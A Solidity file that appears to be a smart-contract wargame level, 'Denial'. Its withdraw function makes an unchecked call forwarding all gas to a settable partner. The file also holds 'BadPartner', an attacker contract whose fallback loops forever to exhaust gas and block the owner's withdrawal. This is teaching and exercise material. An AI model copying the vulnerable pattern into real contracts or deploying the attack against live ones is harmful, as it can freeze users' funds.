// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {
  using SafeMath for uint256;
  address public partner; // withdrawal partner - pay the gas, split the withdraw
  address payable public constant owner = address(0xA9E);
  uint timeLastWithdrawn;
  mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

  function setWithdrawPartner(address _partner) public {
    partner = _partner;
  }

  // withdraw 1% to recipient and 1% to owner
  function withdraw() public {
    uint amountToSend = address(this).balance.div(100);
    // perform a call without checking return
    // The recipient can revert, the owner will still get their share
    partner.call{value:amountToSend}("");
    owner.transfer(amountToSend);
    // keep track of last withdrawal time
    timeLastWithdrawn = now;
    withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
  }

  // allow deposit of funds
  receive() external payable {}

  // convenience function
  function contractBalance() public view returns (uint) {
    return address(this).balance;
  }
}

contract BadPartner { 
  fallback() external payable {
    while (true) {}
  } 
}